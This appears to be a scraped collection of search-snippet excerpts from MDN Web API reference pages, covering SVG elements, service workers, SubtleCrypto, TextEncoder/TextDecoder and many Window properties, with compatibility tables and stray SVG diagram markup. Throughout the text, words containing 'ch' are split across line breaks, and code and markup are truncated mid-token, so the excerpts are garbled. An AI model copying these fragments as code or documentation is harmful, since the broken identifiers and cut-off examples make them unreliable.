chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgpatternelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
SVGStopElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgstopelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svg...
SVGTitleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtitleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
SVGUnitTypes - Web APIs
n;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgunittypes" target="_top"><rect x="1" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="61" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgunittypes</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_unit_type_unknown 0 the type is not one of predefined types.
... it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgunittypes' in that specification.
Screen.lockOrientation() - Web APIs
syntax lockallowed = window.screen.lockorientation(orientation); parameters orientation the orientation into whi
ch to lock the screen.
...so, if the lock is set for only one orientation, the screen orientation will never
change until the screen orientation is unlocked.
... otherwise, the screen orientation will
change from an orientation to another as long as the orientations are amongst the orientations the device has been locked to.
ScrollToOptions - Web APIs
this is actually defined on the scrolloptions dictionary, whi
ch is implemented by scrolltooptions.
...the positions to scroll to along the x and y axes), and a
checkbox indicating whether they want smooth scrolling enabled or not.
... when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.
checked ?
Selection.containsNode() - Web APIs
example
check for selection this snippet
checks whether anything inside the body element is selected.
...it uses addeventlistener() to
check for selection
change events.
... html <p>can you find the secret word?</p> <p>hmm, where <span id="secret" style="color:transparent">secret</span> could it be?</p> <p id="win" hidden>you found it!</p> javascript const secret = document.getelementbyid('secret'); const win = document.getelementbyid('win'); // listen for selection
changes document.addeventlistener('selection
change', () => { const selection = window.getselection(); const found = selection.containsnode(secret); win.toggleattribute('hidden', !found); }); result specifications specification status comment selection apithe definition of 'selection.containsnode()' in that specification.
ServiceWorkerContainer.startMessages() - Web APIs
the startmessages() method of the serviceworkercontainer interface explicitly starts the flow of messages being dispat
ched from a service worker to pages under its control (e.g.
... explanation by default, all messages sent from a page's controlling service worker to the page (using client.postmessage()) are queued while the page is loading, and get dispat
ched once the page's html document has been loaded and parsed (i.e.
...it's possible to start dispat
ching these messages earlier by calling serviceworkercontainer.startmessages(), for example if you've invoked a message handler using eventtarget.addeventlistener() before the page has finished loading, but want to start processing the messages right away.
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
the serviceworkerglobalscope.onnotificationclick property is an event handler called whenever the notificationclick event is dispat
ched on the serviceworkerglobalscope object, that is when a user clicks on a displayed notification spawned by serviceworkerregistration.shownotification().
... notifications created on the main thread or in workers whi
ch aren't service workers using the notification() constructor will instead receive a click event on the notification object itself.
...}; example self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.mat
chall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status comment notifications apithe def...
ServiceWorkerMessageEvent.ports - Web APIs
the ports read-only property of the serviceworkermessageevent interface returns an array of messageport objects connected with the message
channel the message is being sent through.
... examples when the following code is used inside the main thread to set up a message
channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
... // set up a message
channel to communicate with the sw var
channel = new message
channel();
channel.port1.onmessage = function(e) { console.log(e.ports); handle
channelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [
channel.port2]); }); ...
ServiceWorkerRegistration.update() - Web APIs
it fet
ches the worker's script url, and if the new worker is not byte-by-byte identical to the current worker, it installs the new worker.
... the fet
ch of the worker bypasses any browser ca
ches if the previous fet
ch occurred over 24 hours ago.
...xample then adds an event handler to a button so you can explicitly update the service worker whenever desired: if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); button.onclick = function() { registration.update(); } }).cat
ch(function(error) { // registration failed console.log('registration failed with ' + error); }); }; specifications specification status comment service workersthe definition of 'serviceworkerregistration.update()' in that specification.
SharedWorker() - Web APIs
name optional a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, whi
ch is mainly useful for debugging purposes.
... name: a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, whi
ch is mainly useful for debugging purposes.
... examples the following code snippet shows creation of a sharedworker object using the sharedworker() constructor and subsequent usage of the object: var myworker = new sharedworker('worker.js'); myworker.port.start(); first.on
change = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.on
change = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; console.log('message received from worker'); } for a full example, s...
SharedWorkerGlobalScope.onconnect - Web APIs
the connecting port can be referenced through the event object's ports parameter; this reference can have an onmessage handler atta
ched to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonconnect
chrome full support 4edge full support ≤79firefox full support 29ie no support noopera full support 10.6safari no support nowebview android full support yes
chrome android full support 18firefox android full support 29opera andro...
SourceBuffer.abort() - Web APIs
the mse api is fully asyn
chronous, but this step seems to suggest a syn
chronous (blocking) operation, whi
ch doesn't make sense.
... in this case you would want to manually call abort() on the source buffer to stop the decoding of the current buffer, then fet
ch and append the newly requested segment that relates to the current new position of the video.
...in lines 92-101, the seek() function is defined — note that abort() is called if mediasource.readystate is set to open, whi
ch means that it is ready to receive new source buffers — at this point it is worth aborting the current segment and just getting the one for the new seek position (see
checkbuffer() and getcurrentsegment().) specifications specification status comment media source extensionsthe definition of 'abort()' in that specification.
SourceBufferList - Web APIs
[]) or functions su
ch as forea
ch() for example.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sourcebufferlist" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" fon...
...t-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sourcebufferlist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebufferlist.length read only returns the number of sourcebuffer objects in the list.
StereoPannerNode - Web APIs
this interface was introduced as a mu
ch simpler way to apply a simple panning effect than having to use a full pannernode.
... number of inputs 1 number of outputs 1
channel count mode "clamped-max"
channel count 2
channel interpretation "speakers" constructor stereopannernode() creates a new instance of a stereopannernode object.
...we then use an oninput event handler to
change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved.
StorageManager.persist() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetpersist
chrome full support 52 full support 52 no support 48 — 52alternate name alternate name uses the non-standard name: requestpersistentedge full support ≤79firefox full support 55ie ?
... webview android full support 52 full support 52 no support 48 — 52alternate name alternate name uses the non-standard name: requestpersistent
chrome android full support 52 full support 52 no support 48 — 52alternate name alternate name uses the non-standard name: requestpersistentfirefox android full support 55opera android full support yessafari ios ...
SubmitEvent() - Web APIs
the submitevent() constructor creates and returns a new submitevent object, whi
ch is used to represent a submit event fired at an html form.
... syntax let submitevent = new submitevent(type,eventinitdict); parameters type a domstring indicating the event whi
ch occurred.
... const form = document.queryselector("form"); const formtrigger = form.queryselector("button.submit"); const submitevent = new submitevent("submit", { submitter: formtrigger }); form.dispat
chevent(submitevent); this is a somewhat contrived example, as you can do nearly all of this mu
ch more easily, but this gives you deep control over the process that can be useful.
SubtleCrypto.deriveBits() - Web APIs
it returns a promise whi
ch will be fulfilled with an arraybuffer containing the derived bits.
... ecdh in this example alice and bob ea
ch generate an ecdh key pair.
...; sharedsecretvalue.classlist.add("fade-in"); sharedsecretvalue.addeventlistener("animationend", () => { sharedsecretvalue.classlist.remove("fade-in"); }); sharedsecretvalue.textcontent = `${buffer}...[${sharedsecret.bytelength} bytes total]`; } // generate 2 ecdh key pairs: one for alice and one for bob // in more normal usage, they would generate their key pairs // separately and ex
change public keys securely const generatealiceskeypair = window.crypto.subtle.generatekey( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); const generatebobskeypair = window.crypto.subtle.generatekey( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); promise.all([generatealiceskeypair, generatebobskeypair]).then(values => { const ali...
SubtleCrypto.exportKey() - Web APIs
syntax const result = crypto.subtle.exportkey(format, key); parameters format is a string value describing the data format in whi
ch the key should be exported.
... /* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(buf) { return string.from
charcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
... /* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(buf) { return string.from
charcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
SubtleCrypto.wrapKey() - Web APIs
wrapping a key helps protect it in untrusted environments, su
ch as inside an otherwise unprotected data store or in transmission over an unprotected network.
... syntax const result = crypto.subtle.wrapkey( format, key, wrappingkey, wrapalgo ); parameters format is a string describing the data format in whi
ch the key will be exported before it is encrypted.
... one advantage of using aes-kw over another aes mode su
ch as aes-gcm is that aes-kw does not require an initialization vector.
SyncManager.register() - Web APIs
the available options are: allowonbattery: a boolean that determines whether syn
chronization is allowed when the user agent is on a battery-powered device.
... idlerequired: a boolean that determines whether syn
chronization is allowed when the user agent's device is idle.
... minrequirednetwork: the network condition under whi
ch background syn
chronization will occur.
HTMLSlotElement.assignedSlot - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedslot
chrome full support 53edge full support ≤18firefox full support yesie ?
... opera full support 40safari full support 10.1webview android full support 53
chrome android full support 53firefox android full support yesopera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support compatibility unknown ...
TextDecoder - Web APIs
the textdecoder interface represents a decoder for a specific text encoding, su
ch as utf-8, iso-8859-2, koi8-r, gbk, etc.
... examples representing text with typed arrays this example shows how to decode a
chinese/japanese
character , as represented by five different typed arrays: uint8array, int8array, uint16array, int16array, and int32array.
...022]); let i16arr = new int16array([-24336, -18514]); let i32arr = new int32array([-1213292304]); console.log(utf8decoder.decode(u8arr)); console.log(utf8decoder.decode(i8arr)); console.log(utf8decoder.decode(u16arr)); console.log(utf8decoder.decode(i16arr)); console.log(utf8decoder.decode(i32arr)); handling non-utf8 text in this example, we decode the russian text "Привет, мир!", whi
ch means "hello, world." in our textdecoder() constructor, we specify the windows-1251
character encoding, whi
ch is appropriate for cyrillic script.
TextEncoder - Web APIs
if (typeof textencoder === "undefined") { textencoder=function textencoder(){}; textencoder.prototype.encode = function encode(str) { "use strict"; var len = str.length, respos = -1; // the uint8array's length must be at least 3x the length of the string because an invalid utf-16 // takes up the equivelent space of 3 utf-8
characters to encode it properly.
...new array(len * 1.5) : new uint8array(len * 3); for (var point=0, nextcode=0, i = 0; i !== len; ) { point = str.
charcodeat(i), i += 1; if (point >= 0xd800 && point <= 0xdbff) { if (i === len) { resarr[respos += 1] = 0xef/*0b11101111*/; resarr[respos += 1] = 0xbf/*0b10111111*/; resarr[respos += 1] = 0xbd/*0b10111101*/; break; } // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae nextcode = str.
charcodeat(i); if (nextcode >= 0xdc00 && nextcode <= 0xdfff...
...}; textencoder.prototype.tostring = function(){return "[object textencoder]"}; try { // object.defineproperty only works on dom prototypes in ie8 object.defineproperty(textencoder.prototype,"encoding",{ get:function(){if(textencoder.prototype.isprototypeof(this)) return"utf-8"; else throw typeerror("illegal invocation");} }); } cat
ch(e) { /*ie6-8 fallback*/ textencoder.prototype.encoding = "utf-8"; } if(typeof symbol!=="undefined")textencoder.prototype[symbol.tostringtag]="textencoder"; } source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status comment encodingthe definition of 'textencoder' in that specification.
TextTrackList.length - Web APIs
the read-only texttracklist property length returns the number of entries in the texttracklist, ea
ch of whi
ch is a texttrack representing one track in the media element.
...ea
ch track can be accessed by treating the texttracklist as an array of objects of type texttrack.
... var mediaelem = document.queryselector("video, audio"); var numtexttracks = 0; if (mediaelem.texttracks) { numtexttracks = mediaelem.texttracks.length; } note that this sample
checks to be sure htmlmediaelement.texttracks is defined, to avoid failing on browsers without support for texttrack.
High-level guides - Web APIs
webrtc (web real-time communications) is a broad, multi-component system for setting up and operating complex audio, video, and data
channels across networks among two or more peers on the web.
... the high-level guides listed below introduce webrtc te
chnology from a top-down perspective, describing the overall ar
chitecture, the life cycle of a webrtc connection, and basic security and te
chnological issues you might run into as you explore and build web content or apps using the webrtc api.
... in addition, you'll find suggestions as to tools, libraries, and frameworks that might be helpful and compatibility information so you know whi
ch parts of the overall suite of webrtc features can be safely used given your target audience.
Targeting and hit detection - Web APIs
virtual object hit testing detection of collisions with virtual objects usually doesn't actually involve testing for intersection of the ray with one of the scene's polygons, as a typical scene may have hundreds or thousands of polygons, whi
ch makes direct tracing of rays to polygons impractical in most cases.
... testing for collisions with the real world is a different problem, whi
ch may involve not only interpreting the imagery from the device's camera (if available) but also potentially multiple additional sensors.
... some devices include infrared sensors to help range objects, and others provide powerful lidar systems, whi
ch use lasers (usually infrared lasers, whi
ch can't be seen by the human eye) to determine range to objects in the world.
Window.captureEvents() - Web APIs
syntax window.captureevents(eventtype) eventtype is a combination of the following values: event.abort, event.blur, event.click, event.
change, event.dblclick, event.dragddrop, event.error, event.focus, event.keydown, event.keypress, event.keyup, event.load, event.mousedown, event.mousemove, event.mouseout, event.mouseover, event.mouseup, event.move, event.reset, event.resize, event.select, event.submit, event.unload.
...--> <script> function reg() { window.captureevents(event.click); window.onclick = page_click; } function page_click() { alert('page click event detected!'); } </script> </head> <body onload="reg();"> <p>click anywhere on this page.</p> </body> </html> notes events raised in the dom by user activity (su
ch as clicking buttons or shifting focus away from the current document) generally pass through the high-level window and document objects first before arriving at the object that initiated the event.
... when you call the captureevents() method on the window, events of the type you specify (for example, event.click) no longer pass through to "lower" objects in the hierar
chy.
Window.controllers - Web APIs
the controllers property of the window interface returns the xul controllers of the
chrome window.
...
chrome code can add controllers (to be used in conjunction with the godocommand and goupdatecommand functions in globaloverlay.js).
... ea
ch missing removal can cause bug 415775: assertion: xpconnect is being called on a scope without a 'components' property!
Window.frames - Web APIs
returns the window itself, whi
ch is an array-like object, listing the direct sub-frames of the current window.
... ea
ch item in the window.frames pseudo-array represents the window object corresponding to the given <frame>'s or <iframe>'s content, not the (i)frame dom element (i.e., window.frames[0] is the same thing as document.getelementsbytagname("iframe")[0].contentwindow).
... example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with ea
ch subframe as frames[i] frames[i].document.body.style.background = "red"; } specifications specification status comment html living standardthe definition of 'window.frames' in that specification.
Window.fullScreen - Web APIs
syntax isinfullscreen = windowref.fullscreen; with
chrome privileges, the property is read-write, otherwise it is read-only.
... bear in mind that if you try to set this property without
chrome privileges, it will not throw an exception and instead just silently fail.
... notes swit
ching between regular window and full screen will fire the "resize" event on the corresponding window.
Window.getDefaultComputedStyle() - Web APIs
syntax var style = window.getdefaultcomputedstyle(element [, pseudoelt]); parameters element the element for whi
ch to get the computed style.
... pseudoelt optional a string specifying the pseudo-element to mat
ch.
...see http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-
changes-coming-to-css-vistited/ for details of the examples of how this is implemented.
Window.innerHeight - Web APIs
to
change the width of the window, call one of its resize methods, su
ch as resizeto() or resizeby().
... both innerheight and innerwidth are available on any window or any object that behaves like a window, su
ch as a tab or frame.
....innerheight; // or var intframeheight = self.innerheight; // will return the height of the frame viewport within the frameset var intframesetheight = parent.innerheight; // will return the height of the viewport of the closest frameset var intouterframesetheight = top.innerheight; // will return the height of the viewport of the outermost frameset fixme: link to an interactive demo here to
change the size of a window, see window.resizeby() and window.resizeto().
Window: load event - Web APIs
the load event is fired when the whole page has loaded, including all dependent resources su
ch as stylesheets and images.
... this is in contrast to domcontentloaded, whi
ch is fired as soon as the page dom has been loaded, without waiting for resources to finish loading.
...} js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystate
change', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment ui eventsthe definition of 'load' in that specification.
Window.localStorage - Web APIs
the keys and the values are always in the utf-16 domstring format, whi
ch uses two bytes per
character.
... syntax mystorage = window.localstorage; value a storage object whi
ch can be used to access the current origin's local storage space.
... exceptions securityerror the request violates a policy decision, or the origin is not a valid s
cheme/host/port tuple (this can happen if the origin uses the file: or data: s
cheme, for example).
Window.minimize() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetminimize non-standard
chrome no support noedge no support nofirefox no support noie ?
... webview android no support no
chrome android no support nofirefox android no support noopera android ?
Window.mozAnimationStartTime - Web APIs
returns the time, in milliseconds since the epo
ch, at whi
ch animations started now should be considered to have started.
... this also allows javascript-based animations to remain syn
chronized with css transitions and smil animations triggered during the same refresh interval.
... syntax time = window.mozanimationstarttime; parameters time is the time in milliseconds since the epo
ch at whi
ch animations for the current window should be considered to have started.
Window.navigator - Web APIs
the window.navigator read-only property returns a reference to the navigator object, whi
ch has methods and properties about the application running the script.
... if (susrag.indexof("firefox") > -1) { sbrowser = "mozilla firefox"; // "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:61.0) gecko/20100101 firefox/61.0" } else if (susrag.indexof("samsungbrowser") > -1) { sbrowser = "samsung internet"; // "mozilla/5.0 (linux; android 9; samsung sm-g955f build/ppr1.180610.011) applewebkit/537.36 (khtml, like gecko) samsungbrowser/9.4
chrome/67.0.3396.87 mobile safari/537.36 } else if (susrag.indexof("opera") > -1 || susrag.indexof("opr") > -1) { sbrowser = "opera"; // "mozilla/5.0 (macintosh; intel mac os x 10_14_0) applewebkit/537.36 (khtml, like gecko)
chrome/70.0.3538.102 safari/537.36 opr/57.0.3098.106" } else if (susrag.indexof("trident") > -1) { sbrowser = "microsoft internet explorer"; // "mozilla/5.0 (windows nt ...
...10.0; wow64; trident/7.0; .net4.0c; .net4.0e; zoom 3.6.0; wbx 1.0.0; rv:11.0) like gecko" } else if (susrag.indexof("edge") > -1) { sbrowser = "microsoft edge"; // "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko)
chrome/58.0.3029.110 safari/537.36 edge/16.16299" } else if (susrag.indexof("
chrome") > -1) { sbrowser = "google
chrome or
chromium"; // "mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) ubuntu
chromium/66.0.3359.181
chrome/66.0.3359.181 safari/537.36" } else if (susrag.indexof("safari") > -1) { sbrowser = "apple safari"; // "mozilla/5.0 (iphone; cpu iphone os 11_4 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/11.0 mobile/15e148 safari/604.1 980x1306" } else { sbrowser = "unknown"; } alert("you a...
Window.personalbar - Web APIs
syntax objref =window.personalbar example fixme: https://bugzilla.mozilla.org/show_bug.cgi?id=790023 the following complete html example shows the way that the visible property of the various "bar" objects is used, and also the
change to the privileges necessary to write to the visible property of any of the bars on an existing window.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> //
changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.personalbar.visible = !window.personalbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
... also be aware that dynamically updating the visibilty of the various toolbars can
change the size of the window rather dramatically, and may affect the layout of your page.
Window.print() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetprint
chrome full support 1notes full support 1notes notes starting with
chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 5opera full support 6notes full support 6notes notes starting with opera 33, this method...
...nless its sandbox attribute has the value allow-modals.safari full support 1.1webview android full support 1notes full support 1notes notes starting with webview 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.
chrome android full support 18notes full support 18notes notes starting with
chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.firefox android no support nonotes no support ...
Window.restore() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetrestore
chrome no support noedge no support nofirefox no support noie ?
... webview android no support no
chrome android no support nofirefox android no support noopera android ?
Window.scroll() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetscroll
chrome full support 1edge full support 12firefox full support 1ie full support 4opera full support 3safari full support 1webview android full support 1
chrome android full support 18firefox android full support 4opera android ...
... full support 10.1safari ios full support 1samsung internet android full support 1.0scrolltooptions parameter
chrome full support 45edge full support 79firefox full support yesie no support noopera full support 32safari no support nowebview android full support 45
chrome android full support 45firefox android ...
Window.scrollX - Web APIs
in more te
chnical terms, scrollx returns the x coordinate of the left edge of the current viewport.
... example this example
checks the current horizontal scroll position of the document.
...additionally, older versions of internet explorer (< 9) do not support either property and must be worked around by
checking other non-standard properties.
Window.scrollY - Web APIs
in more te
chnical terms, scrolly returns the y coordinate of the top edge of the current viewport.
